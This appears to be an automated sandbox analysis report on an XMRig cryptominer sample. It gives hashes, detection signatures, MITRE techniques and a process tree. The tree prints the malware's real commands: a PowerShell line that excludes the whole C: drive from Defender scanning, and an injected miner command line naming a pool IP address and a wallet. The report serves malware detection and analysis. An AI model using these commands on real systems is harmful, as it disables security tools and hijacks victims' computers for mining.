xmrig | 8701f0c0b71ac2f9214a565721adadff6bfad4705e219d712f0742b03b7be518

Analysis

max time kernel
148s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
15-03-2023 07:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tmp.exe
Size

569KB
MD5

44141a0e32ba57ab5c42a7d18a3745ce
SHA1

ca3300147a6777904baffd74d70b2c79d6dced72
SHA256

8701f0c0b71ac2f9214a565721adadff6bfad4705e219d712f0742b03b7be518
SHA512

757c2d25f29a85daf79fa9fe45905e0612cd8052f9586dc08f8ad0218ce5de6281ae172841b04620dabec37b440fb5fd949337018d349a6f088971e7ef1e171c
SSDEEP

12288:l+Q5UdA+06SBPOZLVeIQYSsWmal37ckvPG9o8z:EQ5UdT06SVwVfQfsf03Ak29o8z

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/memory/220-4552-0x0000000140000000-0x00000001407CD000-memory.dmp	xmrig
behavioral2/memory/220-4556-0x0000000140000000-0x00000001407CD000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	tmp.exe

Executes dropped EXE 1 IoCs

pid	Process
4888	tmp.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4888 set thread context of 220	4888	tmp.exe	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 59 IoCs

pid	Process
1172	powershell.exe
1172	powershell.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe
4888	tmp.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
664	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3520	tmp.exe
Token: SeDebugPrivilege	1172	powershell.exe
Token: SeDebugPrivilege	4888	tmp.exe
Token: SeLockMemoryPrivilege	220	AddInProcess.exe
Token: SeLockMemoryPrivilege	220	AddInProcess.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
220	AddInProcess.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3520 wrote to memory of 1172	3520	tmp.exe	98
PID 3520 wrote to memory of 1172	3520	tmp.exe	98
PID 4888 wrote to memory of 220	4888	tmp.exe	102
PID 4888 wrote to memory of 220	4888	tmp.exe	102
PID 4888 wrote to memory of 220	4888	tmp.exe	102
PID 4888 wrote to memory of 220	4888	tmp.exe	102
PID 4888 wrote to memory of 220	4888	tmp.exe	102
PID 4888 wrote to memory of 220	4888	tmp.exe	102
PID 4888 wrote to memory of 220	4888	tmp.exe	102
PID 4888 wrote to memory of 220	4888	tmp.exe	102
PID 4888 wrote to memory of 220	4888	tmp.exe	102
PID 4888 wrote to memory of 220	4888	tmp.exe	102
PID 4888 wrote to memory of 220	4888	tmp.exe	102
PID 4888 wrote to memory of 220	4888	tmp.exe	102
PID 4888 wrote to memory of 220	4888	tmp.exe	102
PID 4888 wrote to memory of 220	4888	tmp.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -Seconds 3; Set-MpPreference -ExclusionPath C:\
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1172

C:\Users\Admin\AppData\Roaming\tmp.exe
C:\Users\Admin\AppData\Roaming\tmp.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4888
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 174.138.19.0:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ.x -p x --algo rx/0 --cpu-max-threads-hint=50
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:220

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\tmp.exe.log

Filesize
621B

MD5
8ac365dc282788c15f8acf7d54b6f633

SHA1
06ba77cb09a2c33bf03f6506f47fe7fbb396ae1a

SHA256
2c09c3a4a8926cac0a5abb3cd34c92c78ec66d87e0e225a04f26e02d6630bdeb

SHA512
73a80236ab1b2fd69384ea047667d784e0b4ce4064a57ee6c6e23ee61e58fad37346c42792cf4d9cbcfe52e3f7c72ef5eada6fa025a262adf57a4b80123e4a14

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yga2dwzb.ywr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\tmp.exe

Filesize
569KB

MD5
44141a0e32ba57ab5c42a7d18a3745ce

SHA1
ca3300147a6777904baffd74d70b2c79d6dced72

SHA256
8701f0c0b71ac2f9214a565721adadff6bfad4705e219d712f0742b03b7be518

SHA512
757c2d25f29a85daf79fa9fe45905e0612cd8052f9586dc08f8ad0218ce5de6281ae172841b04620dabec37b440fb5fd949337018d349a6f088971e7ef1e171c

Download Submit
C:\Users\Admin\AppData\Roaming\tmp.exe

Filesize
569KB

MD5
44141a0e32ba57ab5c42a7d18a3745ce

SHA1
ca3300147a6777904baffd74d70b2c79d6dced72

SHA256
8701f0c0b71ac2f9214a565721adadff6bfad4705e219d712f0742b03b7be518

SHA512
757c2d25f29a85daf79fa9fe45905e0612cd8052f9586dc08f8ad0218ce5de6281ae172841b04620dabec37b440fb5fd949337018d349a6f088971e7ef1e171c

Download Submit
memory/220-4556-0x0000000140000000-0x00000001407CD000-memory.dmp

Filesize
7.8MB

Download
memory/220-4552-0x0000000140000000-0x00000001407CD000-memory.dmp

Filesize
7.8MB

Download
memory/220-4555-0x0000015AD26A0000-0x0000015AD26E0000-memory.dmp

Filesize
256KB

Download
memory/220-4559-0x0000015B64C60000-0x0000015B64C80000-memory.dmp

Filesize
128KB

Download
memory/220-4560-0x0000015B64C60000-0x0000015B64C80000-memory.dmp

Filesize
128KB

Download
memory/1172-2398-0x000001AB29BD0000-0x000001AB29BE0000-memory.dmp

Filesize
64KB

Download
memory/1172-2396-0x000001AB29BD0000-0x000001AB29BE0000-memory.dmp

Filesize
64KB

Download
memory/1172-2394-0x000001AB29BD0000-0x000001AB29BE0000-memory.dmp

Filesize
64KB

Download
memory/1172-2334-0x000001AB11630000-0x000001AB11652000-memory.dmp

Filesize
136KB

Download
memory/3520-156-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-198-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-160-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-164-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-162-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-166-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-168-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-170-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-172-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-174-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-176-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-178-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-180-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-182-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-184-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-186-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-188-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-190-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-192-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-194-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-196-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-158-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-133-0x0000000000FA0000-0x0000000001032000-memory.dmp

Filesize
584KB

Download
memory/3520-154-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-152-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-150-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-148-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-134-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-146-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-144-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-142-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-135-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-137-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-139-0x000000001D710000-0x000000001D7E8000-memory.dmp

Filesize
864KB

Download
memory/3520-140-0x000000001D800000-0x000000001D810000-memory.dmp

Filesize
64KB

Download
memory/4888-4553-0x0000000000C60000-0x0000000000C70000-memory.dmp

Filesize
64KB

Download
memory/4888-4554-0x0000000000C60000-0x0000000000C70000-memory.dmp

Filesize
64KB

Download
memory/4888-4542-0x0000000000C60000-0x0000000000C70000-memory.dmp

Filesize
64KB

Download
memory/4888-4541-0x0000000000C60000-0x0000000000C70000-memory.dmp

Filesize
64KB

Download
memory/4888-4540-0x0000000000C60000-0x0000000000C70000-memory.dmp

Filesize
64KB

Download
memory/4888-2392-0x0000000000C60000-0x0000000000C70000-memory.dmp

Filesize
64KB

Download